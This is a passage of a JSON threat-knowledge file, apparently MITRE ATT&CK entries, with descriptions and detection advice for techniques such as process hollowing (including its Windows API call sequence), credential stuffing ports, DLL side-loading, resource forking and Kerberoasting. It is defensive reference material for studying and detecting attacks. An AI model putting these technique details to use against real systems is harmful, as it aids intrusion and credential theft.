Theft)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_contributors":["Syed Ummar Farooqh, McAfee","Prasad Somasamudram, McAfee","Sekhar Sarukkai, McAfee","Jon Sternstein, Stern Security","Yossi Weizman, Azure Defender Research Team","Netskope","Mark Wee","Praetorian","Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","SaaS","IaaS","Linux","macOS","Containers","Network","Office Suite","Identity Provider"],"x_mitre_version":"2.7","x_mitre_data_sources":["Logon Session: Logon Session Creation","User Account: User Account Authentication","Logon Session: Logon Session Metadata"],"x_mitre_defense_bypassed":["Firewall","Anti-virus","Host Intrusion Prevention Systems","Network Intrusion Detection System","Application Control","System Access Controls"],"x_mitre_effective_permissions":["User","Administrator"],"x_mitre_permissions_required":["User","Administrator"],"type":"attack-pattern","id":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","created":"2017-05-31T21:31:00.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1078","external_id":"T1078"},{"source_name":"volexity_0day_sophos_FW","description":"Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.","url":"https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"},{"source_name":"CISA MFA PrintNightmare","description":"Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"},{"source_name":"TechNet Credential Theft","description":"Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn535501.aspx"},{"source_name":"TechNet Audit Policy","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487457.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:37:57.868Z","name":"Non-Standard Port","description":"Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\n\nAdversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","created":"2020-03-14T18:18:32.443Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1571","external_id":"T1571"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"Symantec Elfin Mar 2019","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage"},{"source_name":"change_rdp_port_conti","description":"The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.","url":"https://x.com/TheDFIRReport/status/1498657772254240768"},{"source_name":"Fortinet Agent Tesla April 2018","description":"Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.","url":"https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","type":"attack-pattern","created":"2020-10-01T01:08:41.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1585.001","url":"https://attack.mitre.org/techniques/T1585/001"},{"source_name":"NEWSCASTER2014","description":"Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.","url":"https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"},{"source_name":"BlackHatRobinSage","description":"Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.","url":"http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"}],"modified":"2021-10-16T17:37:34.563Z","name":"Social Media Accounts","description":"Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Persona: Social Media"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09","type":"attack-pattern","created":"2017-05-31T21:30:58.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1073","url":"https://attack.mitre.org/techniques/T1073"},{"external_id":"CAPEC-641","source_name":"capec","url":"https://capec.mitre.org/data/definitions/641.html"},{"url":"https://msdn.microsoft.com/en-us/library/aa375365","description":"Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.","source_name":"MSDN Manifests"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf","description":"Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.","source_name":"Stewart 2014"}],"modified":"2020-03-20T14:28:39.529Z","name":"DLL Side-Loading","description":"Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Process whitelisting","Anti-virus"],"x_mitre_is_subtechnique":false},{"modified":"2024-09-12T15:11:45.602Z","name":"Process Hollowing","description":"Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process’ thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.3","x_mitre_data_sources":["Process: Process Creation","Process: Process Modification","Process: OS API Execution","Process: Process Access"],"x_mitre_defense_bypassed":["Application control","Anti-virus"],"x_mitre_permissions_required":["User"],"type":"attack-pattern","id":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","created":"2020-01-14T17:21:54.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1055/012","external_id":"T1055.012"},{"source_name":"Nviso Spoof Command Line 2020","description":"Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.","url":"https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/"},{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"},{"source_name":"Leitch Hollowing","description":"Leitch, J. (n.d.). Process Hollowing. Retrieved September 12, 2024.","url":"https://new.dc414.org/wp-content/uploads/2011/01/Process-Hollowing.pdf"},{"source_name":"Mandiant Endpoint Evading 2019","description":"Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.","url":"https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-07T17:13:54.168Z","name":"Exploitation for Privilege Escalation","description":"Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics","Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security","Idan Revivo, @idanr86, Team Nautilus Aqua Security","David Tayouri"],"x_mitre_deprecated":false,"x_mitre_detection":"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\n\nHigher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Containers"],"x_mitre_version":"1.5","x_mitre_data_sources":["Driver: Driver Load","Process: Process Creation"],"x_mitre_effective_permissions":["User"],"x_mitre_permissions_required":["User"],"type":"attack-pattern","id":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","created":"2017-05-31T21:30:55.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1068","external_id":"T1068"},{"source_name":"ESET InvisiMole June 2020","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"},{"source_name":"Microsoft Driver Block Rules","description":"Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"},{"source_name":"Unit42 AcidBox June 2020","description":"Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.","url":"https://unit42.paloaltonetworks.com/acidbox-rare-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jaron Bradley @jbradley89","Ivan Sinyakov"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb","created":"2021-10-12T20:02:31.866Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1564.009","url":"https://attack.mitre.org/techniques/T1564/009"},{"source_name":"tau bundlore erika noerenberg 2020","url":"https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html","description":"Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021."},{"source_name":"Resource and Data Forks","url":"https://flylib.com/books/en/4.395.1.192/1/","description":"Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021."},{"source_name":"ELC Extended Attributes","url":"https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/","description":"Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021."},{"source_name":"sentinellabs resource named fork 2020","url":"https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/","description":"Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021."},{"source_name":"macOS Hierarchical File System Overview","url":"http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553","description":"Tenon. (n.d.). Retrieved October 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)","modified":"2022-05-05T05:10:23.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Resource Forking","x_mitre_detection":"Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \n\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Metadata","Process: Process Creation","Command: Command Execution","File: File Creation"],"x_mitre_defense_bypassed":["Notarization","Gatekeeper"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:35:13.577Z","name":"Account Access Removal","description":"Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_contributors":["Hubert Mank","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\n\n* Event ID 4723 - An attempt was made to change an account's password\n* Event ID 4724 - An attempt was made to reset an account's password\n* Event ID 4726 - A user account was deleted\n* Event ID 4740 - A user account was locked out\n\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","SaaS","IaaS","Office Suite"],"x_mitre_version":"1.3","x_mitre_data_sources":["Active Directory: Active Directory Object Modification","User Account: User Account Modification","User Account: User Account Deletion"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0","created":"2019-10-09T18:48:31.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1531","external_id":"T1531"},{"source_name":"CarbonBlack LockerGoga 2019","description":"CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.","url":"https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/"},{"source_name":"Unit42 LockerGoga 2019","description":"Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.","url":"https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Credential Stuffing","description":"Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Diogo Fernandes","Anastasios Pingios"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","SaaS","IaaS","Linux","macOS","Containers","Network","Office Suite","Identity Provider"],"x_mitre_version":"1.6","x_mitre_data_sources":["Application Log: Application Log Content","User Account: User Account Authentication"],"type":"attack-pattern","id":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","created":"2020-02-11T18:39:59.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1110/004","external_id":"T1110.004"},{"source_name":"US-CERT TA18-068A 2018","description":"US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA18-086A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1208","url":"https://attack.mitre.org/techniques/T1208"},{"url":"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/","description":"Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.","source_name":"Microsoft Detecting Kerberoasting Feb 2018"},{"url":"https://msdn.microsoft.com/library/ms677949.aspx","description":"Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.","source_name":"Microsoft SPN"},{"url":"https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx","description":"Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.","source_name":"Microsoft SetSPN"},{"description":"Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.","source_name":"SANS Attacking Kerberos Nov 2014","url":"https://redsiege.com/kerberoast-slides"},{"url":"https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/","description":"Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.","source_name":"Harmj0y Kerberoast Nov 2016"},{"url":"https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1","description":"EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.","source_name":"Empire InvokeKerberoast Oct 2016"},{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"}],"modified":"2020-10-20T19:30:10.297Z","name":"Kerberoasting","description":"Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries 